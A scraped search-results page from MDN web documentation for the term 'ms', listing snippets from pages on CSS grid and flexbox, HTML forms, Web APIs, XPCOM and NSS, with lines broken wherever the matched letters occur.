; /* pack item from the right */ /* baseline alignment */ justify-self: baseline; justify-self: first baseline; justify-self: last baseline; /* overflow alignment (for positional alignment only) */ justify-self: safe center; justify-self: unsafe center; /* global values */ justify-self: inherit; justify-self: initial; justify-self: unset; this property can take one of three different for
ms: basic keywords: one of the keyword values normal, auto, or stretch.
... values auto the value used is the value of the justify-ite
ms property of the parents box, unless the box has no parent, or is absolutely positioned, in these cases, auto represents normal.
... flex-start for ite
ms that are not children of a flex container, this value is treated like start.
...And 10 more matches
Responsive Navigation Patterns - Progressive web apps (PWAs)
pattern 1: top toggle menu in this pattern, as the screen width is reduced, the top navigation ite
ms rearrange until there is not enough space.
... at that point, some ite
ms move from the top navigation to a drop-down menu.
... in the smallest screen, all navigation ite
ms live in a toggle menu, and the user has to tap to expand the toggle menu.
...And 10 more matches
HTML: A good basis for accessibility - Learn web development
in general, you should use clear language that is not overly complex and doesn't use unnecessary jargon or slang ter
ms.
... expand acrony
ms, at least once or twice.
...you can verify these clai
ms by comparing your previous experience with a more modern website structure example, which could look something like this: <header> <h1>header</h1> </header> <nav> <!-- main navigation in here --> </nav> <!-- here is our page's main content --> <main> <!-- it contains an article --> <article> <h2>article heading</h2> <!-- article content in here --> </article> <aside> ...
...And 9 more matches
HTML: A good basis for accessibility - Learn web development
in general, you should use clear language that is not overly complex and doesn't use unnecessary jargon or slang ter
ms.
... expand acrony
ms, at least once or twice.
...you can verify these clai
ms by comparing your previous experience with a more modern website structure example, which could look something like this: <header> <h1>header</h1> </header> <nav> <!-- main navigation in here --> </nav> <!-- here is our page's main content --> <main> <!-- it contains an article --> <article> <h2>article heading</h2> <!-- article content in here --> </article> <aside> ...
...And 9 more matches
How to structure a web form - Learn web development
previous overview: for
ms next with the basics out of the way, we'll now look in more detail at the elements used to provide structure and meaning to the different parts of a form.
... objective: to understand how to structure html for
ms and give them semantics so they are usable and accessible.
... the flexibility of for
ms makes them one of the most complex structures in html; you can build any kind of basic form using dedicated form elements and attributes.
...And 9 more matches
Strategies for carrying out testing - Learn web development
previous overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross-browser testing?", "what are the most common types of proble
ms you'll encounter?", and "what are the main approaches for testing, identifying, and fixing proble
ms?" prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing.
...opera mini is also significant, but it isn't very capable in ter
ms of running complex javascript at runtime, etc (see opera mini and javascript for more details).
... you may also consider using open source and privacy focussed analytics platfor
ms like open web analytics and matomo.
...And 9 more matches
mozbrowsercontextmenu
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
... contextmenuite
mselected an anonymous function that fires when a menu item is selected.
...its properties are as follows: documenturi a do
mstring representing the url of the document the menu is associated with.
...And 9 more matches
Dict.jsm
method overview dict copy(); boolean del(string akey); object get(string akey, [optional] object adefault); boolean has(string akey); array listite
ms(); array listkeys(); array listvalues(); void set(string akey, object avalue); string tojson(); string tostring(); properties attribute type description count number the number of ite
ms in the dictionary.
... ite
ms iterator returns an iterator over all of the ite
ms in the dictionary; each item is returned as a pair (a two-element array) with the first element being the key and the second being the value.
... note: the order in which ite
ms are returned is arbitrary, and may change without notice.
...And 9 more matches
AsyncTestUtils extended framework
see mailnews automated testing for a description of the other testing mechanis
ms.
...
msgsperthread: 1 how many messages should be in each thread?
...this allows you to get at the nsi
msgdbhdr instances directly.
...And 9 more matches
An overview of NSS Internals
a high-level overview to the internals of network security services (nss) software developed by the mozilla.org projects traditionally used its own implementation of security protocols and cryptographic algorith
ms, originally called netscape security services, nowadays called network security services (nss).
...in order to support multiple operating syste
ms (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which provides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming.
... in order to allow interoperability between software and devices that perform cryptographic operations, nss confor
ms to a standard called pkcs#11.
...And 9 more matches
Places utilities for JavaScript
load_in_sidebar_anno - this annotation is associated with bookmarks or ite
ms that should load in the sidebar automatically.
... placesutils method overview nsiuri createfixeduri(string aspec); string getformattedstring(string key, string para
ms); string getstring(string key); boolean nodeisfolder(nsinavhistoryresultnode anode); boolean nodeisbookmark(nsinavhistoryresultnode anode); boolean nodeisseparator(nsinavhistoryresultnode anode); boolean nodeisvisit(nsinavhistoryresultnode anode); boolean nodeisuri(nsinavhistoryresultnode anode); boolean nodeisquery(nsinavhistoryresul...
...tindexofnode(nsinavhistoryresultnode anode); string wrapnode(nsinavhistoryresultnode anode, string atype, nsiuri aoverrideuri); array unwrapnodes(string blob, string atype); nsitransaction maketransaction(string data, string type, nsinavhistoryresultnode container, int index, boolean copy); nsinavhistoryresult getfoldercontents(int afolderid, boolean aexcludeite
ms, boolean aexpandqueries); boolean showaddbookmarkui(nsiuri auri, string atitle, string adescription, int adefaultinsertionpoint, boolean ashowpicker, boolean aloadinsidebar, string akeyword, string apostdata); boolean showminimaladdbookmarkui(nsiuri auri, string atitle, string adescription, int adefaultinsertionpoint, boolean ashowpicker, boolean aloadinsidebar, string akeyword,...
...And 9 more matches
XPCOM reference
core xpcom functionsxpcom provides a number of global functions which are used to initialize and shut down the xpcom library, as well as to allocate memory, get access to services, and to instantiate interfaces.foldersthe folder classes all implement the nsi
msgfolder interface.
...they all inherit from ns
msgdbfolder, which implements a lot of the core functionality.
...in a big change from the original nsiabcard, properties are now stored in a hash table instead of as attributes on the interface, allowing it to be more flexible.nsicookie2 mozilla 1 8 branchnsi
msgsearchvaluedefined in comm-central/ mailnews/ base/ search/ public/ nsi
msgsearchvalue.idl ns
msgmessageflagsthe ns
msgmessageflags interface describes possible flags for messages.
...And 9 more matches
Mail event system
mozilla mail requires an event system to notify different subsyste
ms that data has changed.
... nsi
msgmailsession.idl is a service that acts as a broadcaster for folder notifications.
... the mail session receives all notifications from all folders, and then forwards it on to any nsifolderlisteners that have registered the
mselves.
...And 9 more matches
DOM Inspector internals - Firefox Developer Tools
this is the two-pane inspector that appears when ctrl+shift+i (or cmd+shift+i) is pressed from one of the applications for which dom inspector has explicit support (i.e., menuite
ms placed via overlay).
...either the host applications must provide these the
mselves (usually bundling dom inspector with the application, too), or dom inspector must explicitly support them by providing its own menu ite
ms and keyboard shortcuts with host-integration overlays.
...as of this writing, there's a toolbox containing an empty menubar and an empty toolbar, as well as an empty vbox: <toolbox id="tbxinstoolbox"> <menubar id="mbrinspectormain"/> <toolbar id="tbinspectorprimary"/> </toolbox> <vbox id="bxinspectormain" flex="1"/> there are no menus, toolbar ite
ms, et cetera defined here.
...And 9 more matches
HTMLElement - Web APIs
htmlelement.accesskey is a do
mstring representing the access key assigned to the element.
... htmlelement.accesskeylabel read only returns a do
mstring containing the element's assigned access key.
... htmlelement.contenteditable is a do
mstring, where a value of true means the element is editable and a value of false means it isn't.
...And 9 more matches
HTMLLinkElement - Web APIs
htmllinkelement.as is a do
mstring representing the type of content being loaded by the html link.
... htmllinkelement.crossorigin is a do
mstring that corresponds to the cors setting for this link element.
... htmllinkelement.href is a do
mstring representing the uri for the target resource.
...And 9 more matches
HTMLTableCellElement - Web APIs
htmltablecellelement.abbr a do
mstring which can be used on <th> elements (not on <td>), specifying an alternative label for the header cell..
... htmltablecellelement.headers read only is a do
msettabletokenlist describing a list of id of <th> elements that represents headers associated with the cell.
... htmltablecellelement.scope a do
mstring indicating the scope of a <th> cell.
...And 9 more matches
IDBKeyRange - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetidbkeyrangechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yesboundchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support yesincludeschrome full support 52edge full support ≤18firefox full support 47ie ?
...And 9 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
note: most diagra
ms used in this article to show how the camera moves while performing standard movements was taken from an article on the filmmakeriq web site; namely, from this image which is found all over the web, however, and though we assume these are under a permissive license due to their frequent reuse, ownership is not certain.
... we hope that it's freely usable; if not, and you're the owner, please let us know and we'll find or produce new diagra
ms.
...as much as possible, standard cinematographic techniques are used, since the viewer has likely grown up watching fil
ms using those techniques, and has subconscious expectations that a film or animation will follow those methods.
...And 9 more matches
Web APIs
stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and strea
msmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage access apistrea
ms ttouch eventsuurl apivvibration ...
... a angle_instanced_arrays abortcontroller abortsignal absoluteorientationsensor abstractrange abstractworker accelerometer addresserrors aescbcpara
ms aesctrpara
ms aesgcmpara
ms aeskeygenpara
ms ambientlightsensor analysernode animation animationeffect animationevent animationplaybackevent animationtimeline arraybufferview attr audiobuffer audiobuffersourcenode audioconfiguration audiocontext audiocontextlatencycategory audiocontextoptions audiodestinationnode audiolistener audionode audionodeoptions audioparam audioparamdescriptor audiopar...
...uetoothremotegattserver bluetoothremotegattservice body broadcastchannel budgetservice budgetstate buffersource bytelengthqueuingstrategy bytestring c cdatasection css cssconditionrule csscounterstylerule cssgroupingrule cssimagevalue csskeyframerule csskeyframesrule csskeywordvalue cssmathproduct cssmathsum cssmathvalue cssmediarule cssnamespacerule cssnumericvalue csso
mstring csspagerule csspositionvalue cssprimitivevalue csspseudoelement cssrule cssrulelist cssstyledeclaration cssstylerule cssstylesheet cssstylevalue csssupportsrule cssunitvalue cssunparsedvalue cssvalue cssvaluelist cssvariablereferencevalue cache cachestorage canvascapturemediastreamtrack canvasgradient canvasimagesource canvaspattern canvasrenderingcontext2d caretposit...
...And 9 more matches
Cognitive accessibility - Accessibility
though there is a lot of diversity within clinical definitions of cognitive impairments, people with them experience a common set of functional proble
ms.
... these proble
ms include difficulty with understanding content, remembering how to complete tasks, and confusion caused by inconsistent or non-traditional web page layouts.
...tractions, such as unnecessary content or advertisements; providing consistent web page layout and navigation; incorporating familiar elements, such as underlined links that are blue when not visited and purple when visited; dividing processes into logical, essential steps with progress indicators; making website authentication as easy as possible without compromising security; and making for
ms easy to complete, such as with clear error messages and simple error recovery.
...And 9 more matches
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
the ie/edge (≤15) version of the specification is prefixed with an -
ms prefix and the properties implemented in ie/edge (≤15) are as follows: grid-template-columns as -
ms-grid-columns grid-template-rows as -
ms-grid-rows grid-row-start as -
ms-grid-row grid-column-start as -
ms-grid-column align-self as -
ms-grid-row-align justify-self as -
ms-grid-column-align the ie version has additional properties not required in the new specification of -
ms-grid-column-s...
...pan and -
ms-grid-row-span.
...some simple grid layouts could be implemented for ie10, through to edge 15, using the -
ms properties.
...And 9 more matches
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
in the article covering the basic concepts of grid layout, we started to look at how to position ite
ms on a grid using line numbers.
...d #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> </div> positioning ite
ms by line number we can use line-based placement to control where these ite
ms sit on the grid.
... .box1 { grid-column-start: 1; grid-column-end: 2; grid-row-start: 1; grid-row-end: 4; } as you position some ite
ms, other ite
ms on the grid will continue to be laid out using the auto-placement rules.
...And 9 more matches
position - CSS: Cascading Style Sheets
it is positioned relative to the initial containing block established by the viewport, except when one of its ancestors has a transform, perspective, or filter property set to something other than none (see the css transfor
ms spec), in which case that ancestor behaves as the containing block.
...itioned { position: absolute; background: yellow; top: 30px; left: 30px; } result fixed positioning fixed positioning is similar to absolute positioning, with the exception that the element's containing block is the initial containing block established by the viewport, unless any ancestor has transform, perspective, or filter property set to something other than none (see css transfor
ms spec), which then causes that ancestor to take the place of the elements containing block.
...curabitur quam quam, accu
msan id ultrices ultrices, tempor et tellus.
...And 9 more matches
Live streaming web audio and video - Developer guides
live streaming formats generally allow adaptive streaming by breaking strea
ms into a series of small segments and making those segments available at different qualities and bit rates.
... streaming audio and video on demand streaming technology is not used exclusively for live strea
ms.
...deo on demand: there are several advantages to this: latency is generally lower so media will start playing more quickly adaptive streaming makes for better experiences on a variety of devices media is downloaded just in time which makes bandwidth usage more efficient streaming protocols while static media is usually served over http, there are several protocols for serving adaptive strea
ms; let's take a look at the options.
...And 9 more matches
Setting up adaptive streaming media sources - Developer guides
this article explains how, looking at two of the most common formats: mpeg-dash and hls (http live streaming.) choosing formats in ter
ms of adaptive streaming formats, there are many to choose from; we decided to choose the following two as between them we can support most modern browsers.
... both mpeg-dash and hls use a playlist format to structure the component piece of media that make the possible strea
ms.
... various bitrate strea
ms are broken into segments and placed in appropriate server folders — we have to provide our media players with a link to lookup files or playlists specifying the name and location of these stream folders.
...And 9 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
it is designed to run as a scripting language in a host environment, and it is up to the host environment to provide mechanis
ms for communicating with the outside world.
...t environment is the browser, but javascript interpreters can also be found in a huge list of other places, including adobe acrobat, adobe photoshop, svg images, yahoo's widget engine, server-side environments such as node.js, nosql databases like the open source apache couchdb, embedded computers, complete desktop environments like gnome (one of the most popular guis for gnu/linux operating syste
ms), and others.
...javascript progra
ms manipulate values, and those values all belong to a type.
...And 9 more matches
MathML documentation index - MathML
html becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators from simple notations, wysiwyg editors and other content management syste
ms to help writing web pages.
...you can also have arbitrary text in it to mark up ter
ms.
... 27 <
ms> mathml, mathml reference, mathml:element, mathml:token elements the mathml <
ms> element represents a string literal meant to be interpreted by programming languages and computer algebra syste
ms.
...And 9 more matches
Building XULRunner with Python - Archive of obsolete content
of particular interested is access to
msaa and iaccessible2 via the python comtypes package.
... microsoft c++ compiler is required and whilst the current free version is visual studio 8 express (
msvc8) you will almost certainly want to use visual studio .net 2003 (
msvc71) which is not longer officially available.
... the issue is that xulrunner must be built with the same version of c as python and with python 2.5 that is
msvc71.
...And 8 more matches
Windows Media in Netscape - Archive of obsolete content
this section presents two mechanis
ms to detect the browsers that support windows media player -- detection using javascript objects which is useful for client-side detection detection using the user agent string which is useful for server side detection.
...gin code using navigator.mimetypes player = navigator.mimetypes["application/x-mplayer2"].enabledplugin; } } catch(e) { // handle error -- no wmp control // download: http://www.microsoft.com/windows/windowsmedia/download/default.asp } if (player) { // windows media player control exists } currently, dynamically writing out markup using document.write after using detection mechanis
ms won't work owing to a bug in netscape 7.1.
...1 works with both windows media player 6.4 and with windows media players 7 and 9, but they have unique classids: windows media player 6.4 has this classid:22d6f312-b0f6-11d0-94ab-0080c74c7e95 windows media players 7 and 9 have this classid: 6bf52a52-394a-11d3-b153-00c04f79faa6 windows media player 6.4 and windows media player 7 and up are not backwards compatible in ter
ms of apis (and thus have different classids).
...And 8 more matches
CSS and JavaScript accessibility best practices - Learn web development
"standard" text content structure headings, paragraphs, lists — the core text content of your page: <h1>heading</h1> <p>paragraph</p> <ul> <li>my list</li> <li>has two ite
ms.</li> </ul> some typical css might look like this: h1 { font-size: 5rem; } p, li { line-height: 1.5; font-size: 1.6rem; } you should: select sensible font sizes, line heights, letter spacing, etc.
... most of the css you'll write for for
ms will be for sizing the elements, lining up labels and inputs, and getting them looking neat and tidy.
... there is an easy way to check whether your contrast is large enough to not cause proble
ms.
...And 8 more matches
Images, media, and form elements - Learn web development
images, other media, and form elements behave a little differently in ter
ms of your ability to style them with css than regular boxes.
... you can see this happening in the example below where we have a two column, two row grid container, which has four ite
ms in it.
... form elements form elements can be a tricky issue when it comes to styling with css, and the web for
ms module contains detailed guides to the trickier aspects of styling form elements, which i will not fully reproduce here.
...And 8 more matches
Grids - Learn web development
prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css and styling boxes.) objective: to understand the fundamental concepts behind grid layout syste
ms, and how to implement a grid layout using css grid.
... creating your grid in css having decided on the grid that your design needs, you can use css grid layout to create that grid in css and place ite
ms onto it.
...you will see an example with a container, which has some child ite
ms.
...And 8 more matches
Basic native form controls - Learn web development
previous overview: for
ms next in the previous article, we marked up a functional web form example, introducing some form controls and common structural elements, and focusing on accessibility best practices.
...if you want a more advanced reference, you should consult our html for
ms element reference, and in particular our extensive <input> types reference.
... note: the <input> element is unique amongst html elements because it can take many different for
ms depending on its type attribute value.
...And 8 more matches
Client-side form validation - Learn web development
previous overview: for
ms next before submitting data to the server, it is important to ensure all required form controls are filled out, in the correct format.
... we want to make filling out web for
ms as easy as possible.
... so why do we insist on validating our for
ms?
...And 8 more matches
Using Vue computed properties - Learn web development
previous overview: client-side javascript frameworks next in this article we'll add a counter that displays the number of completed todo ite
ms, using a feature of vue called computed properties.
...if we have 2 of 5 ite
ms completed in our to-do list, our summary could read "3 ite
ms completed out of 5".
... while it might be tempting to do something like this: <h2>{{todoite
ms.filter(item => item.done).length}} out of {{todoite
ms.length}} ite
ms completed</h2> it would be recalculated on every render.
...And 8 more matches
Debugging on Windows
if vc++ and your mozilla application hang shortly after you launch the application under the debugger, see proble
ms loading debug symbols.
...the
msdev ide will launch and load the file where the assertion happened.
...by default it will be: vc++ 6.0: c:\program files\microsoft visual studio\common\
msdev98\bin\autoexp.dat vc++ 7.0: c:\program files\microsoft visual studio .net 2003\common7\packages\debugger\autoexp.dat the file has information about the format in the beginning, and after a little practice you should be well on your way.
...And 8 more matches
NSS_3.12_release_notes.html
the tar.gz or zip file expands to an nss-3.12 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test progra
ms you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.12 requires.
...h) nss_initwithmerge (see nss.h) pk11_createmergelog (see pk11pub.h) pk11_creategenericobject (see pk11pub.h) pk11_createpbev2algorithmid (see pk11pub.h) pk11_destroymergelog (see pk11pub.h) pk11_generatekeypairwithopflags (see pk11pub.h) pk11_getpbecryptomechanism (see pk11pub.h) pk11_isremovable (see pk11pub.h) pk11_mergetokens (see pk11pub.h) pk11_writerawattribute (see pk11pub.h) seckey_ecpara
mstobasepointorderlen (see keyhi.h) seckey_ecpara
mstokeysize (see keyhi.h) secmod_deletemoduleex (see secmod.h) sec_getregisteredhttpclient (see ocsp.h) sec_pkcs5isalgorithmpbealgtag (see secpkcs5.h) vfy_createcontextdirect (see cryptohi.h) vfy_createcontextwithalgorithmid (see cryptohi.h) vfy_verifydatadirect (see cryptohi.h) vfy_verifydatawithalgorithmid (see cryptohi.h) vfy_verifydigestdirect (se...
... new for pkcs #11 (see pkcs11t.h for details): ckk: keys ckk_camellia ckm: mechanis
ms ckm_sha224_rsa_pkcs ckm_sha224_rsa_pkcs_pss ckm_sha224 ckm_sha224_hmac ckm_sha224_hmac_general ckm_sha224_key_derivation ckm_camellia_key_gen ckm_camellia_ecb ckm_camellia_cbc ckm_camellia_mac ckm_camellia_mac_general ckm_camellia_cbc_pad ckm_camellia_ecb_encrypt_data ckm_camellia_cbc_encrypt_data ckg: mfgs ckg_mgf1_sha224 new error codes (see secerr.h): sec_error_not_initialized sec_error...
...And 8 more matches
Interfacing with the XPCOM cycle collector
this is the idle stage of the collector's operation, in which special variants of nsautorefcnt register and unregister the
mselves very rapidly with the collector, as they pass through a "suspicious" refcount event (from n+1 to n, for nonzero n).
... it does not suspect any pointers by default; objects must suspect the
mselves, typically by using an nscyclecollectingautorefcnt rather than a nsautorefcnt.
... the main macro for traverse is ns_impl_cycle_collection_traverse: ns_impl_cycle_collection_traverse(
msomemember) unlink works similarly: ns_impl_cycle_collection_unlink(
msomemember) these macros should handle a variety of cases, such as reference counted pointers to cycle collected nsisupports or non-nsisupports objects, as well as arrays of these pointers.
...And 8 more matches
nsIRadioInterfaceLayer
to create an instance, use: var radiointerfacelayer = components.classes["@mozilla.org/telephony/system-worker-manager;1"] .getservice(components.interfaces.nsiinterfacerequestor) .createinstance(components.interfaces.nsiradiointerfacelayer); method overview void answercall(in unsigned long callindex); void deactivatedatacall(in do
mstring cid, in do
mstring reason); void dial(in do
mstring number); void enumeratecalls(in nsiriltelephonycallback callback); void getdatacalllist(); unsigned short getnumberofmessagesfortext(in do
mstring text); void hangup(in unsigned long callindex); void registercallback(in nsiriltelephonycallback callback); void registerdatacallcallback(in nsirildatacallback callback); void reject...
...call(in unsigned long callindex); void sends
ms(in do
mstring number, in do
mstring message, in long requestid, in unsigned long long processid); void setupdatacall(in long radiotech, in do
mstring apn, in do
mstring user, in do
mstring passwd, in long chappap, in do
mstring pdptype); void starttone(in do
mstring dtmfchar); void stoptone(); void unregistercallback(in nsiriltelephonycallback callback); void unregisterdatacallcallback(in nsirildatacallback callback); attributes attribute type description currentstate jsval read only.
...l_state_connecting 1 datacall_state_connected 2 datacall_state_disconnecting 3 datacall_state_disconnected 4 call_state_ringing 2 obsolete since gecko 14.0 methods answercall() void answercall( in unsigned long callindex ); parameters callindex missing description exceptions thrown missing exception missing description deactivatedatacall() void deactivatedatacall( in do
mstring cid, in do
mstring reason ); parameters cid missing description reason missing description exceptions thrown missing exception missing description dial() functionality for making and managing phone calls.
...And 8 more matches
Creating a gloda message query
the folder may be a glodafolder instance (retrieved via gloda.getfolderforfolder, which takes an nsi
msgfolder) or an nsi
msgfolder instance.
... query.tags(tag1, tag2, tag3, ...): add the constraint that the message must have one of the provided nsi
msgtag tags applied.
... (use nsi
msgtagservice to access message tags.) query.starred(true/false): add the constraint that the message must be (or not be) starred (flagged).
...And 8 more matches
Index - Firefox Developer Tools
4 color vision simulation accessibility, accessibility inspector, color blindness, devtools, guide, simulation, tools the simulator in the accessibility inspector in firefox developer tools lets you see what a web page would look like to users with various for
ms of color vision deficiency (better known as "color blindness"), as well as contrast sensitivity loss.
...this is the two-pane inspector that appears when ctrl+shift+i (or cmd+shift+i) is pressed from one of the applications for which dom inspector has explicit support (i.e., menuite
ms placed via overlay).
...this is useful for understanding the "retained size" of objects allocated by your site: that is, the size of the objects the
mselves plus the size of the objects that they keep alive through references.
...And 8 more matches
BluetoothCharacteristicProperties - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbluetoothcharacteristicproperties experimentalchrome full support 56notes full support 56notes notes chromeos and macos only.
... nowebview android no support nochrome android full support 56firefox android no support noopera android full support yessafari ios no support nosa
msung internet android full support 6.0authenticatedsignedwrites experimentalchrome full support 56notes full support 56notes notes chromeos and macos only.
... nowebview android no support nochrome android full support 56firefox android no support noopera android full support yessafari ios no support nosa
msung internet android full support 6.0broadcast experimentalchrome full support 56notes full support 56notes notes chromeos and macos only.
...And 8 more matches
CSSCounterStyleRule - Web APIs
csscounterstylerule.name is a do
mstring object that contains the serialization of the <counter-style-name> defined for the associated rule.
... csscounterstylerule.system is a do
mstring object that contains the serialization of the system descriptor defined for the associated rule.
... csscounterstylerule.symbols is a do
mstring object that contains the serialization of the symbols descriptor defined for the associated rule.
...And 8 more matches
FileReaderSync - Web APIs
filereadersync.readasbinarystring() this method converts a specified blob or a file into a do
mstring representing the input data as a binary string.
... filereadersync.readastext() this method converts a specified blob or a file into a do
mstring representing the input data as a text string.
... filereadersync.readasdataurl() this method converts a specified blob or a file into a do
mstring representing the input data as a data url.
...And 8 more matches
HTMLAreaElement - Web APIs
element.accesskey is a do
mstring containing a single character that switches input focus to the control.
... htmlareaelement.alt is a do
mstring that reflects the alt html attribute, containing alternative text for the element.
... htmlareaelement.coords is a do
mstring that reflects the coords html attribute, containing coordinates to define the hot-spot region.
...And 8 more matches
HTMLImageElement - Web APIs
htmlimageelement.alt a do
mstring that reflects the alt html attribute, thus indicating the alternate fallback content to be displayed if the image has not been loaded.
... htmlimageelement.crossorigin a do
mstring specifying the cors setting for this image element.
... htmlimageelement.decoding an optional do
mstring representing a hint given to the browser on how it should decode the image.
...And 8 more matches
Key Values - Web APIs
corresponding virtual keycodes for common platfor
ms are included where available.
... appcommand_undo gdk_key_undo (0xff65) [1] on keyboards without a dedicated del key, the mac generates the "delete" value when fn is pressed in tandem with delete (which is backspace on other platfor
ms).
... note: not all syste
ms pass this key through to to the user agent.
...And 8 more matches
WebGL model view projection - Web APIs
clip space in a webgl program, data is typically uploaded to the gpu with its own coordinate system and then the vertex shader transfor
ms those points into a special coordinate system known as clip space.
...this matrix represents the transformations to be performed on every point making up the model in order to move it into the correct space, and to perform any other needed transfor
ms on each point in the model.
... = function(now) { //scale down by 50% var scale = mdn.scalematrix(0.5, 0.5, 0.5); // rotate a slight tilt var rotatex = mdn.rotatexmatrix(now * 0.0003); // rotate according to time var rotatey = mdn.rotateymatrix(now * 0.0005); // move slightly down var position = mdn.translatematrix(0, -0.1, 0); // multiply together, make sure and read them in opposite order this.transfor
ms.model = mdn.multiplyarrayofmatrices([ position, // step 4 rotatey, // step 3 rotatex, // step 2 scale // step 1 ]); }; in order to use this in the shader it must be set to a uniform location.
...And 8 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
passing string literals passing a string instead of a function to settimeout() has the same associated proble
ms as using eval.
... timeouts throttled to ≥ 4
ms in modern browsers, settimeout()/setinterval() calls are throttled to a minimum of once every 4
ms when successive calls are triggered due to callback nesting (where the nesting level is at least a certain depth), or after certain number of successive intervals.
... to implement a 0
ms timeout in a modern browser, you can use window.postmessage() as described here.
...And 8 more matches
Box alignment in grid layout - CSS: Cascading Style Sheets
as this page ai
ms to detail things which are specific to css grid layout and box alignment, it should be read in conjunction with the main box alignment page which details the common features of box alignment across layout methods.
...on the block (cross) axis the alignment of the ite
ms inside their grid areas is controlled with align-ite
ms.
... the first item overrides the align-ite
ms value set on the group by setting align-self to center.
...And 8 more matches
CSS Flexible Box Layout - CSS: Cascading Style Sheets
css flexible box layout is a module of css that defines a css box model optimized for user interface design, and the layout of ite
ms in one dimension.
... basic example in the following example a container has been set to display: flex, which means that the three child ite
ms become flex ite
ms.
... the value of justify-content has been set to space-between in order to space the ite
ms out evenly on the main axis.
...And 8 more matches
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
if you can start to see layout in ter
ms of block and inline, the way things work in grid start to make a lot more sense.
...in default writing mode, grid auto-places ite
ms starting at the top left, moving along to the right, filling up the three cells on the inline axis.
... it then moves onto the next line, creating a new row track, and fills in more ite
ms: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 100px); grid-template-rows: repeat(2, 100px); grid-gap: 10px; } <div class="wrapper"> <div class="item1">item 1</div> <div class="item2">item 2</div> <div class="item3">item 3</div> <div class="item4">item 4</div> <div class="item5">item 5</div> </div> if we add writing-mode: vertical-lr to the grid container, we can see that the block and inline axis ...
...And 8 more matches
Grid template areas - CSS: Cascading Style Sheets
in the previous guide we looked at grid lines, and how to position ite
ms against those lines.
... when you use css grid layout you always have lines, and this can be a straightforward way to place ite
ms on your grid.
... however, there is an alternate method to use for positioning ite
ms on the grid which you can use alone or in combination with line-based placement.
...And 8 more matches
filter - CSS: Cascading Style Sheets
img4" class="internal default" src="/files/3711/test_form_2_s.jpg" style="width: 100%;" /></td> </tr> </tbody> </table> html { height:100%; } body { font: 14px/1.286 "lucida grande", "lucida sans unicode", "dejavu sans", lucida, arial, helvetica, sans-serif; color: rgb(51, 51, 51); height:100%; overflow:hidden; } #img2 { width:100%; height:auto; -webkit-filter:blur(5px); -
ms-filter:blur(5px); filter:blur(5px); } table.standard-table { border: 1px solid rgb(187, 187, 187); border-collapse: collapse; border-spacing: 0; margin: 0 0 1.286em; height: 100%; width: 85%; } table.standard-table th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px; background: none repeat scroll 0% 0% rgb(238, 238, 238); text-align: left; font-weight: bold; } tab...
...ult" src="/files/3709/test_form_s.jpg" style="width: 100%;" /></td> </tr> </tbody> </table> html { height:100%; } body { font: 14px/1.286 "lucida grande","lucida sans unicode","dejavu sans",lucida,arial,helvetica,sans-serif; color: rgb(51, 51, 51); height:100%; overflow:hidden; } #img2 { width:100%; height:auto; -moz-filter:brightness(2); -webkit-filter:brightness(2); -
ms-filter:brightness(2); filter:brightness(2); } table.standard-table { border: 1px solid rgb(187, 187, 187); border-collapse: collapse; border-spacing: 0px; margin: 0px 0px 1.286em; height:100%; width: 85%; } table.standard-table th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px; background: none repeat scroll 0% 0% rgb(238, 238, 238); text-align: left; font-weight...
... src="/files/3713/test_form_3_s.jpg" style="width: 100%;" /></td> </tr> </tbody> </table> html { height:100%; } body { font: 14px/1.286 "lucida grande","lucida sans unicode","dejavu sans",lucida,arial,helvetica,sans-serif; color: rgb(51, 51, 51); height:100%; overflow:hidden; } #img2 { width:100%; height:auto; -moz-filter:contrast(200%); -webkit-filter:contrast(200%); -
